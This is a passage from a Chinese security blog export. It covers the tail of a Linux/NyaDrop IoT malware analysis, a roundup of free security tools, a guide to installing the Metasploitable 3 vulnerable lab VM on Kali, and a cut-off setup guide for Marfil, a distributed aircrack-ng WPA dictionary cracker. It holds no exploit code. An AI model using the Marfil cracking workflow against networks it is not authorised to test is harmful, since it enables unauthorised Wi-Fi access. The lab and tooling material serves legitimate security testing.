with summarizing recent updates on Linux/NyaDrop in \u0026ldquo;Security Week\u0026rdquo; article [ link].\nStay save friends!\n#MalwareMustDie! Reversed, written and analyzed by @unixfreaxjp [ link] on October 13th 2016.\n","permalink":"https://www.lucien116.com/archives/229/","summary":"\u003ch2 id=\"background\"\u003eBackground\u003c/h2\u003e\n\u003cp\u003eSince the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF \u003cstrong\u003eLinux/NyaDrop\u003c/strong\u003e as per the name used by threat actor himself, for the \u0026ldquo;nyadrop\u0026rdquo; binary that is dropped in the compromised system.\u003c/p\u003e\n\u003cp\u003eThis is not the \u0026ldquo;really\u0026rdquo; first time we\u0026rsquo;re seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time).\n\u003cimg loading=\"lazy\" src=\"https://lh3.googleusercontent.com/xVQ9SLCc0VSiXaVC_a4XrrHwMHk3pFrZo_Kf3D1CIE5QbtfGkU9uXLm1JWRRJBSUm36a7pmqTEGbFA=w270-h737-no\"\u003e\u003cimg loading=\"lazy\" src=\"https://lh3.googleusercontent.com/_1U42bajBfTc2rdIYeXSw0RNPbFIUQ2Itjniwnf-lfEa4IZzjY8roR9gO83c04rz6r5oHnTbRuLLeQ=w270-h653-no\"\u003e\u003c/p\u003e","title":"Linux/NyaDrop - a linux MIPS IoT bad news"},{"content":"其实网上有很多非常实用的免费安全工具，如果要全部介绍这些工具的话，可能一天一夜的时间都不够。虽然现在也有很多公司会通过试用版软件来“勾引”用户去购买他们完整功能的产品，但是目前市面上仍然有很多功能强大的免费安全工具，包括情报工具、在软件开发阶段保证安全性的工具、渗透测试工具和取证工具等等。 工具简介 威胁情报工具包括AlienVault的Open Threat Exchange（OTX），这个工具实际上是一个计算机安全平台，它可以收集并共享互联网威胁情报，类似的平台还有Hailataxii和Cymon.io等等。除此之外，我们还有很多静态应用程序安全测试（SAST）工具可供选择，开发人员可以用这些工具来测试采用不同编程语言（C/C++、Ruby on Rails或Python等）开发的软件。就渗透测试而言，我们通常选择使用Nmap安全扫描工具和Wireshark网络协议分析工具。专门的分析取证产品包括GRR远程取证框架、Autopsy和SleuthKit等，这些工具可以对硬盘驱动器和智能手机进行取证分析，而Volatility Foundation的开源框架则可以对系统内存进行取证分析。\n威胁情报工具 安全厂商可以对威胁情报进行分析，并为相应的威胁信息创建签名，而他们的安全检测工具就可以利用这些签名数据来检测安全威胁了。AlienVault的 Open Threat Exchange（OTX）平台可以收集并与社区共享互联网威胁情报信息，这个项目目前总共有来自140个国家的47000多名参与者，这些参与者每天都会贡献超过4百万个 威胁情报标识。当新型威胁出现时，这种形式的资源共享可以帮助企业和安全厂商快速地对这些安全威胁进行识别和响应。\nCyTech Services的首席执行官Ben Cotton（注册信息系统安全专家，CISSP）也表示：\n“AlienVault的OTX平台在共享威胁情报标识（IoC）方面做得非常的好。安全产品可以通过OTX所提供的IoC来增强自身的检测能力，并更好地检测新型的安全威胁。”\neSentire 的 Cymon.io 同样也提供了大量免费的威胁情报信息，根据其官网所提供的数据，当社区成员发现了新的恶意活动或病毒感染源，他们便会立刻将相应的标识添加到Cymon.io的数据库中。\nCymon每天都会从180个不同的领域来获取安全威胁情报信息，这些领域包括公共产业、政府机构、以及商业威胁情报来源（例如VirusTotal、Phishtank、blacklists以及各大反病毒厂商的安全报告）等等。Cymon可以利用这些威胁情报来追踪恶意软件、网络钓鱼、僵尸网络、以及垃圾邮件等恶意活动，Cymon的数据库每天都会新增超过2万个独立的IP地址，到目前为止，Cymon总共有超过6百万个登陆IP，并且记录了超过3370万次安全事件。\nCotton还表示：\n“在我看来，除了OTX之外， Hailataxii.com 也是一个非常棒的开源威胁情报资源库。但Cymon.io同样做得非常好，我认为作为一个威胁情报共享平台来说，它与AlienVault的OTX和Hailataxii一样的优秀。”\n在软件开发阶段增强安全性的工具 现在也有很多静态应用程序安全测试（SAST）工具可供广大开发人员使用，开发人员可以在软件的编码阶段利用这些工具来测试自己所编写的软件安全性是否到位。Cigital的资深安全顾问Meera Subbarao认为：“目前世界上最为流行的JavaSAST工具就是 FindBugs 和 PMD 了。这些SAST工具大多都可以以插件的形式添加到开发人员所使用的IDE内，这样就可以更好地帮助他们在开发应用程序的过程中保证编码的安全。当然了，除了针对Java的SAST工具之外，也有很多专为Python、Ruby on Rails、C/C++、JavaScript、以及.NET等编程语言的SAST工具。”\n专为渗透测试／渗透测试人员而生的工具 通过对产品进行渗透测试，安全人员可以赶在黑客之前发现产品中存在的安全漏洞。安全专家使用最广泛的就是开源的 Nmap 安全扫描器了。Nmap由Gordon Lyon开发，它是一款专业的渗透测试工具，安全研究人员可以使用Nmap来扫描目标主机端口并定位网络漏洞。Cotton认为：“如果要进行网络漏洞分析的话，在所有的免费开源扫描工具中Nmap的效率是最高的。唯一不足的是，虽然Nmap可以扫描大型网络，但是它却没有提供与安全事件响应有关的功能。”\nWireshark 是一款得到了广泛使用的网络协议分析工具，它同样是一款免费的渗透测试工具。该软件最初由GeraldCombs负责开发，目前由Riverbed负责维护。Cotton表示：“Wireshark可能是目前最好的网络数据包嗅探工具了。但是，Wireshark并 不支持扫描文件大小超过100MB的数据包。”\n分析取证工具 企业可以利用取证工具来调查过去所发生的或正在发生的安全事件。Google的GRR远程取证框架（免费，开源）提供了实时事件响应服务，我们可以通过GRR的python代理来与GRR的python服务器进行实时交互来获取这项服务。你可以在Windows、Linux、以及macOS系统中使用GRR代理，并对系统内存数据进行取证和分析。同样的，虽然它是一款非常优秀的工具，但是当GRR用于企业环境中时，其扩展性方面的问题就会暴露出来。Cotton认为：“一般来说，我们只会用GRR来处理十台左右的设备。”\n通常情况下，我们会拿多种工具来配合使用。取证工具Autopsy和SleuthKit可以对计算机硬盘、智能手机、以及磁盘镜像进行分析，该产品支持Windows、Linux、以及macOS系统。Cotton说到：“这些工具只能帮助我们对十台以下的电脑进行分析，而且Autopsy和SleuthKit同样无法有效地处理大型网络中的问题。”\n还有一款不得不提的内存分析工具，即VolatilityFoundation的开源框架。这款分析取证工具可以通过收集目标主机RAM中的数据来对正在运行中的系统进行剖析。它允许你从Windows系统中收集内存数据，并导出进程、开放端口、以及网络链接相关的数据，所以它可以帮助我们识别内存中正在运行的恶意软件。\nCotton解释称：\n“我强烈推荐VolatilityFoundation的这款内存分析开源框架。但它的不足之处在于，当你需要开始分析数据之前，你需要创建当前的内存镜像，这样你才可以导出内存数据，并使用Volatility来对目标主机当前的RAM数据进行分析。”\n这些免费的安全软件仍有很长的路要走 本文所列举出的免费工具几乎是每一位安全研究人员都使用过的，不仅是因为这些工具在开源软件项目中都是佼佼者，而且这些工具是全世界任何一个地方的人都可以免费获取和使用的。你可以使用这些工具来暂时填补企业中的安全空缺，并尽你所能地将组织或自身的安全做到你所能实现的高度。\n\\ 参考来源： csoonline，FB小编Alpha_h4ck编译，转载请注明来自 FreeBuf.COM*\n","permalink":"https://www.lucien116.com/archives/228/","summary":"\u003cp\u003e\u003cstrong\u003e其实网上有很多非常实用的免费安全工具，如果要全部介绍这些工具的话，可能一天一夜的时间都不够。虽然现在也有很多公司会通过试用版软件来“勾引”用户去购买他们完整功能的产品，但是目前市面上仍然有很多功能强大的免费安全工具，包括情报工具、在软件开发阶段保证安全性的工具、渗透测试工具和取证工具等等。\u003c/strong\u003e  \u003ca href=\"http://image.3001.net/images/20161225/14826592139299.png\"\u003e\u003cimg alt=\"Clipboard Image.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161225/14826592139299.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"工具简介\"\u003e工具简介\u003c/h2\u003e\n\u003cp\u003e威胁情报工具包括AlienVault的Open Threat Exchange（OTX），这个工具实际上是一个计算机安全平台，它可以收集并共享互联网威胁情报，类似的平台还有Hailataxii和Cymon.io等等。除此之外，我们还有很多静态应用程序安全测试（SAST）工具可供选择，开发人员可以用这些工具来测试采用不同编程语言（C/C++、Ruby on Rails或Python等）开发的软件。就渗透测试而言，我们通常选择使用Nmap安全扫描工具和Wireshark网络协议分析工具。专门的分析取证产品包括GRR远程取证框架、Autopsy和SleuthKit等，这些工具可以对硬盘驱动器和智能手机进行取证分析，而Volatility Foundation的开源框架则可以对系统内存进行取证分析。\u003c/p\u003e\n\u003ch2 id=\"威胁情报工具\"\u003e威胁情报工具\u003c/h2\u003e\n\u003cp\u003e安全厂商可以对威胁情报进行分析，并为相应的威胁信息创建签名，而他们的安全检测工具就可以利用这些签名数据来检测安全威胁了。AlienVault的 \u003ca href=\"https://otx.alienvault.com/\"\u003eOpen Threat Exchange\u003c/a\u003e（OTX）平台可以收集并与社区共享互联网威胁情报信息，这个项目目前总共有来自140个国家的47000多名参与者，这些参与者每天都会贡献超过4百万个 \u003ca href=\"https://www.alienvault.com/open-threat-exchange\"\u003e威胁情报标识\u003c/a\u003e。当新型威胁出现时，这种形式的资源共享可以帮助企业和安全厂商快速地对这些安全威胁进行识别和响应。\u003c/p\u003e\n\u003cp\u003eCyTech Services的首席执行官Ben Cotton（注册信息系统安全专家，CISSP）也表示：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“AlienVault的OTX平台在共享威胁情报标识（IoC）方面做得非常的好。安全产品可以通过OTX所提供的IoC来增强自身的检测能力，并更好地检测新型的安全威胁。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://www.esentire.com/\"\u003eeSentire\u003c/a\u003e 的 \u003ca href=\"https://cymon.io/\"\u003eCymon.io\u003c/a\u003e 同样也提供了大量免费的威胁情报信息，根据其官网所提供的数据，当社区成员发现了新的恶意活动或病毒感染源，他们便会立刻将相应的标识添加到Cymon.io的数据库中。\u003c/p\u003e\n\u003cp\u003eCymon每天都会从180个不同的领域来获取安全威胁情报信息，这些领域包括公共产业、政府机构、以及商业威胁情报来源（例如VirusTotal、Phishtank、blacklists以及各大反病毒厂商的安全报告）等等。Cymon可以利用这些威胁情报来追踪恶意软件、网络钓鱼、僵尸网络、以及垃圾邮件等恶意活动，Cymon的数据库每天都会新增超过2万个独立的IP地址，到目前为止，Cymon总共有超过6百万个登陆IP，并且记录了超过3370万次安全事件。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161225/1482659254761.png\"\u003e\u003cimg alt=\"Clipboard Image.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161225/1482659254761.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eCotton还表示：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“在我看来，除了OTX之外， \u003ca href=\"http://hailataxii.com/\"\u003eHailataxii.com\u003c/a\u003e 也是一个非常棒的开源威胁情报资源库。但Cymon.io同样做得非常好，我认为作为一个威胁情报共享平台来说，它与AlienVault的OTX和Hailataxii一样的优秀。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"在软件开发阶段增强安全性的工具\"\u003e在软件开发阶段增强安全性的工具\u003c/h2\u003e\n\u003cp\u003e现在也有很多静态应用程序安全测试（SAST）工具可供广大开发人员使用，开发人员可以在软件的编码阶段利用这些工具来测试自己所编写的软件安全性是否到位。Cigital的资深安全顾问Meera Subbarao认为：“目前世界上最为流行的JavaSAST工具就是 \u003ca href=\"http://findbugs.sourceforge.net/\"\u003eFindBugs\u003c/a\u003e 和 \u003ca href=\"https://sourceforge.net/projects/pmd/\"\u003ePMD\u003c/a\u003e 了。这些SAST工具大多都可以以插件的形式添加到开发人员所使用的IDE内，这样就可以更好地帮助他们在开发应用程序的过程中保证编码的安全。当然了，除了针对Java的SAST工具之外，也有很多专为Python、Ruby on Rails、C/C++、JavaScript、以及.NET等编程语言的SAST工具。”\u003c/p\u003e\n\u003ch2 id=\"专为渗透测试渗透测试人员而生的工具\"\u003e专为渗透测试／渗透测试人员而生的工具\u003c/h2\u003e\n\u003cp\u003e通过对产品进行渗透测试，安全人员可以赶在黑客之前发现产品中存在的安全漏洞。安全专家使用最广泛的就是开源的 \u003ca href=\"https://nmap.org/\"\u003eNmap\u003c/a\u003e 安全扫描器了。Nmap由Gordon Lyon开发，它是一款专业的渗透测试工具，安全研究人员可以使用Nmap来扫描目标主机端口并定位网络漏洞。Cotton认为：“如果要进行网络漏洞分析的话，在所有的免费开源扫描工具中Nmap的效率是最高的。唯一不足的是，虽然Nmap可以扫描大型网络，但是它却没有提供与安全事件响应有关的功能。”\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161225/14826592859228.png\"\u003e\u003cimg alt=\"Clipboard Image.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161225/14826592859228.png!small\"\u003e\u003c/a\u003e\u003ca href=\"https://www.wireshark.org/download.html\"\u003eWireshark\u003c/a\u003e 是一款得到了广泛使用的网络协议分析工具，它同样是一款免费的渗透测试工具。该软件最初由GeraldCombs负责开发，目前由Riverbed负责维护。Cotton表示：“Wireshark可能是目前最好的网络数据包嗅探工具了。但是，Wireshark并 \u003ca href=\"https://wiki.wireshark.org/Performance\"\u003e不支持扫描文件大小超过100MB的数据包\u003c/a\u003e。”\u003c/p\u003e\n\u003ch2 id=\"分析取证工具\"\u003e分析取证工具\u003c/h2\u003e\n\u003cp\u003e企业可以利用取证工具来调查过去所发生的或正在发生的安全事件。Google的GRR远程取证框架（免费，开源）提供了实时事件响应服务，我们可以通过GRR的python代理来与GRR的python服务器进行实时交互来获取这项服务。你可以在Windows、Linux、以及macOS系统中使用GRR代理，并对系统内存数据进行取证和分析。同样的，虽然它是一款非常优秀的工具，但是当GRR用于企业环境中时，其扩展性方面的问题就会暴露出来。Cotton认为：“一般来说，我们只会用GRR来处理十台左右的设备。”\u003c/p\u003e\n\u003cp\u003e通常情况下，我们会拿多种工具来配合使用。取证工具Autopsy和SleuthKit可以对计算机硬盘、智能手机、以及磁盘镜像进行分析，该产品支持Windows、Linux、以及macOS系统。Cotton说到：“这些工具只能帮助我们对十台以下的电脑进行分析，而且Autopsy和SleuthKit同样无法有效地处理大型网络中的问题。”\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161225/14826593029886.png\"\u003e\u003cimg alt=\"Clipboard Image.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161225/14826593029886.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e还有一款不得不提的内存分析工具，即VolatilityFoundation的开源框架。这款分析取证工具可以通过收集目标主机RAM中的数据来对正在运行中的系统进行剖析。它允许你从Windows系统中收集内存数据，并导出进程、开放端口、以及网络链接相关的数据，所以它可以帮助我们识别内存中正在运行的恶意软件。\u003c/p\u003e\n\u003cp\u003eCotton解释称：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我强烈推荐VolatilityFoundation的这款内存分析开源框架。但它的不足之处在于，当你需要开始分析数据之前，你需要创建当前的内存镜像，这样你才可以导出内存数据，并使用Volatility来对目标主机当前的RAM数据进行分析。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"这些免费的安全软件仍有很长的路要走\"\u003e这些免费的安全软件仍有很长的路要走\u003c/h3\u003e\n\u003cp\u003e本文所列举出的免费工具几乎是每一位安全研究人员都使用过的，不仅是因为这些工具在开源软件项目中都是佼佼者，而且这些工具是全世界任何一个地方的人都可以免费获取和使用的。你可以使用这些工具来暂时填补企业中的安全空缺，并尽你所能地将组织或自身的安全做到你所能实现的高度。\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003cem\u003e\\\u003c/em\u003e 参考来源： \u003ca href=\"http://www.csoonline.com/article/3152865/security/free-security-tools-to-support-cyber-security-efforts.html\"\u003ecsoonline\u003c/a\u003e，FB小编Alpha_h4ck编译，转载请注明来自 \u003ca href=\"http://www.freebuf.com/\"\u003eFreeBuf.COM\u003c/a\u003e\u003c/em\u003e*\u003c/p\u003e","title":"分享一些支持企业安全工作的免费工具"},{"content":"1、安装virtualbox\nvirtualbox安装的姿势很多，kali之前的版本是可以通过apt-get install virtualbox来安装。\n或者去官方网站下载virtualbox stretch版本，官方网站：https://www.virtualbox.org/wiki/Linux_Downloads，\nwget http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026 Debianstretch_amd64.deb\n下载完成以后，通过dpkg安装：\ndpkg -i virtualbox-5.1_5.1.2-108956Debianstretch_i386.deb\n如果有缺少依赖文件就使用下面命令补上去：apt-get -f install\n运行 sudo /sbin/vboxconfig，检查是否缺少内核文件，然后根据提示安装内核文件，如：apt-get install linux-headers-amd64\n2、安装packer\nroot@kali:/# apt-get install packer\n3、安装vagrant\nwget https://releases.hashicorp.com/vagrant/1.9.1/vagrant_1.9.1_x86_64.deb\ndpkg -i vagrant_1.9.1_x86_64.deb\n4、执行 build_win2008.sh\n给sh文件加上执行权限：chmod +x build_win2008.sh，并运行它。 在Waiting for SSH to become available是有点慢，耐心等待！这时打开VirtualBox管理器可以看到预览中正在创建虚拟机。当虚拟机安装完之后，安装脚本会自动通过SSH连入虚拟机并进行各种漏洞设置。\nbuild_win2008.sh 执行结束后会提示你执行vagrant up来启动虚拟机配置：\n5、执行vagrant up\n第一次执行vagrant up会往虚拟机中安装各种软件，和配置虚拟机中的漏洞。\n可以把这些用于配置漏洞环境的文件用迅雷下载好，再丢虚拟机里面安装，可以节省很多时间。\nhttp://download.oracle.com/otn-pub/java/jdk/8u111-b14/jdk-8u111-windows-x64.exe http://download.oracle.com/otn-pub/java/jdk/8u112-b15/jdk-8u112-windows-x64.exe http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jre-8u111-windows-x64.exe https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x64.exe http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.33/bin/apache-tomcat-8.0.33-windows-x64.zip https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x86.exe http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip\nwampserver2.2.d-x64.exe :\nhttp://pan.baidu.com/share/link?shareid=1406529211\u0026amp;uk=1010090726\u0026amp;fid=359162040528870\n……\n6、使用虚拟机\n在上面第一次执行完vagrant up之后就可以正常使用虚拟机了，后面也不用每次都执行vagrant up，直接通过VirtualBox来打开就可以了。\n","permalink":"https://www.lucien116.com/archives/227/","summary":"\u003cp\u003e\u003cstrong\u003e1、安装virtualbox\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003evirtualbox安装的姿势很多，kali之前的版本是可以通过apt-get install virtualbox来安装。\u003c/p\u003e\n\u003cp\u003e或者去官方网站下载virtualbox stretch版本，官方网站：https://www.virtualbox.org/wiki/Linux_Downloads，\u003c/p\u003e\n\u003cp\u003ewget \u003ca href=\"http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026\"\u003ehttp://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026\u003c/a\u003e \u003cdel\u003eDebian\u003c/del\u003estretch_amd64.deb\u003c/p\u003e\n\u003cp\u003e下载完成以后，通过dpkg安装：\u003c/p\u003e\n\u003cp\u003edpkg -i virtualbox-5.1_5.1.2-108956\u003cdel\u003eDebian\u003c/del\u003estretch_i386.deb\u003c/p\u003e\n\u003cp\u003e如果有缺少依赖文件就使用下面命令补上去：apt-get -f install\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253008345.png%21small\"\u003e\u003cimg alt=\"2016-12-16 11-31-43屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253008345.png%21small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e运行 sudo /sbin/vboxconfig，检查是否缺少内核文件，然后根据提示安装内核文件，如：apt-get install linux-headers-amd64\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253014082.png%21small\"\u003e\u003cimg alt=\"2016-12-16 12-54-16屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253014082.png%21small\"\u003e\u003c/a\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253008524.png%21small\"\u003e\u003cimg alt=\"2016-12-16 12-54-03屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253008524.png%21small\"\u003e\u003c/a\u003e\u003cstrong\u003e2、安装packer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eroot@kali:/# apt-get install packer\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253009312.png\"\u003e\u003cimg alt=\"2016-12-16 11-17-21屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253009312.png!small\"\u003e\u003c/a\u003e\u003cstrong\u003e3、安装vagrant\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ewget \u003ca href=\"https://releases.hashicorp.com/vagrant/1.9.1/vagrant_1.9.1_x86_64.deb\"\u003ehttps://releases.hashicorp.com/vagrant/1.9.1/vagrant_1.9.1_x86_64.deb\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003edpkg -i vagrant_1.9.1_x86_64.deb\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253005103.png%21small\"\u003e\u003cimg alt=\"2016-12-16 11-20-36屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253005103.png%21small\"\u003e\u003c/a\u003e\u003cstrong\u003e4、执行 build_win2008.sh\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e给sh文件加上执行权限：chmod +x build_win2008.sh，并运行它。 \u003cstrong\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253028398.png%21small\"\u003e\u003cimg alt=\"2016-12-16 13-08-49屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253028398.png%21small\"\u003e\u003c/a\u003e\u003c/strong\u003e \u003ca href=\"http://image.3001.net/images/20161218/14820253033893.png%21small\"\u003e\u003cimg alt=\"2016-12-16 13-09-33屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253033893.png%21small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在Waiting for SSH to become available是有点慢，耐心等待！这时打开VirtualBox管理器可以看到预览中正在创建虚拟机。当虚拟机安装完之后，安装脚本会自动通过SSH连入虚拟机并进行各种漏洞设置。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161218/1482025303879.png%21small\"\u003e\u003cimg alt=\"2016-12-16 13-08-18屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/1482025303879.png%21small\"\u003e\u003c/a\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253048176.png%21small\"\u003e\u003cimg alt=\"2016-12-16 13-13-44屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253048176.png%21small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ebuild_win2008.sh 执行结束后会提示你执行vagrant up来启动虚拟机配置：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253059494.png%21small\"\u003e\u003cimg alt=\"2016-12-16 13-25-09屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253059494.png%21small\"\u003e\u003c/a\u003e\u003cstrong\u003e5、执行vagrant up\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e第一次执行vagrant up会往虚拟机中安装各种软件，和配置虚拟机中的漏洞。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20161218/14820253058052.png%21small\"\u003e\u003cimg alt=\"2016-12-16 13-31-03屏幕截图.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20161218/14820253058052.png%21small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e可以把这些用于配置漏洞环境的文件用迅雷下载好，再丢虚拟机里面安装，可以节省很多时间。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jdk-8u111-windows-x64.exe\"\u003ehttp://download.oracle.com/otn-pub/java/jdk/8u111-b14/jdk-8u111-windows-x64.exe\u003c/a\u003e \u003ca href=\"http://download.oracle.com/otn-pub/java/jdk/8u112-b15/jdk-8u112-windows-x64.exe\"\u003ehttp://download.oracle.com/otn-pub/java/jdk/8u112-b15/jdk-8u112-windows-x64.exe\u003c/a\u003e \u003ca href=\"http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jre-8u111-windows-x64.exe\"\u003ehttp://download.oracle.com/otn-pub/java/jdk/8u111-b14/jre-8u111-windows-x64.exe\u003c/a\u003e \u003ca href=\"https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x64.exe\"\u003ehttps://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x64.exe\u003c/a\u003e \u003ca href=\"http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.33/bin/apache-tomcat-8.0.33-windows-x64.zip\"\u003ehttp://archive.apache.org/dist/tomcat/tomcat-8/v8.0.33/bin/apache-tomcat-8.0.33-windows-x64.zip\u003c/a\u003e \u003ca href=\"https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x86.exe\"\u003ehttps://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x86.exe\u003c/a\u003e \u003ca href=\"http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip\"\u003ehttp://download.java.net/glassfish/4.0/release/glassfish-4.0.zip\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ewampserver2.2.d-x64.exe :\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://pan.baidu.com/share/link?shareid=1406529211\u0026amp;uk=1010090726\u0026amp;fid=359162040528870\"\u003ehttp://pan.baidu.com/share/link?shareid=1406529211\u0026amp;uk=1010090726\u0026amp;fid=359162040528870\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e……\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e6、使用虚拟机\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e在上面第一次执行完vagrant up之后就可以正常使用虚拟机了，后面也不用每次都执行vagrant up，直接通过VirtualBox来打开就可以了。\u003c/p\u003e","title":"KALI LINUX安装Metasploitable 3"},{"content":"Marfil 是 Aircrack-ng 套件的一个扩展工具，被用于 WiFi 网络安全的评估测试。利用它，我们可以实现在多台计算机之间，进行分布式的爆破任务。\n我们都知道 Aircrack-ng 套件，为我们提供了许多用于无线破解的工具。其中 aircrack-ng 工具，就是一个专门用于 802.11 WEP 和 WPA / WPA2-PSK 密钥破解的程序。由于无线的保护力度不断加大，现在市面上大多数无线都采用 WPA / WPA2-PSK 的方式进行加密 。因此我们想要破解密码，则必须使用字典或单词列表。这些字典越大，则我们所需的破解时间就越长。这还得看你的硬件配置如何，如果配置较低，破解任务可能需要几天或几个星期不等。或许此时你的旁边有一些额外的硬件设备，原本可以帮你共同来完成任务。但你无法使用 aircrack-ng 让他们之间实现分布式破解。那么你只能选择其中一个速度较快的设备，而白白浪费了另外的破解资源。Marfil 就是为了解决这个困扰，而被开发出来的。\nMarfil 是一个基于 php 语言开发的工具，它能在不同节点之间实现分布式破解。它的实现原理也非常简单：将原本非常大的字典进行拆分，并将其分布在其余节点上。而不是像原本那样，只使用一个节点来破解单个 .cap 文件。过程如下：\n1.在服务器节点中配置使用字典。\n2.客户端节点向服务器发送破解请求。（包括.cap文件和目标网络的 BSSID）\n3.客户端请求服务器开始工作。\n4.开始工作后，服务器向客户端响应 .cap 文件 和 BSSID 以及字典片段。\n5.客户端自行执行破解，并在完成后返回结果。\n6.服务器根据结果更新破解请求状态。\n7.最终，.cap 文件将针所有未成功，或找到密码部分的字典进行处理。\nAircrack-ng 扩展要求 1.aircrack-ng 套件\n2.PHP \u0026gt;= 5.5.9\n3.PHP5 SQLite 模块（ 只有服务器端需要）\n4.Composer （ 依赖管理工具，需要时可安装）\nMarfil 目前仅在 Linux 系统上进行了测试。但它的使用方式及工具，都是相对独立于平台的。因此，它也应该能在 Windows 或 Mac上工作。\nAircrack-ng 扩展: Marfil 设置 初始设置和字典配置 1.下载最新的发行版 Marfil 文件。\n2.在所有节点（服务器和客户端）中解压缩它。\n3.在所有客户端上安装 PHP5 及 aircrack-ng 套件。如果你是 Debian Linux ，则安装命令如下：\nsudo apt-get install php5 aircrack-ng 4.在服务器上安装 PHP5 的 SQLite 模块。如果你是 Debian Linux，则安装命令如下：\nsudo apt-get install php5-sqlite 5.在服务器节点上，启动一个Web服务器。使用 PHP 的内置 Web 服务器，将根目录设置为 Marfil 目录中的公用目录。可以通过在 Marfil 目录中，运行以下命令来完成：\nphp -S 0.0.0.0:8080 -t public 您可以通过在服务器节点上的浏览器，中访问 http://localhost:8080 来测试此操作是否成功执行，并查看空列表的破解请求是否发出。\n6.请确保您可以通过在客户端的浏览器中访问 http://你的服务器IP地址:8080 。\n7.将字典放在 storage/app/dictionaries 目录下。如果你没有字典，可在网上搜索一些字典文件。\n8.在 Marfil 目录中执行此命令，将字典拆分为多个部分，并准备字典数据库（ 取决于字典的大小，可能需要一段时间）：\nphp artisan marfil:refresh-dictionaries 添加破解请求并处理它们 1.为了成功添加破解请求，我们需要具有完整的 WPA 四步握手包数据，以及目标的 BSSID 的 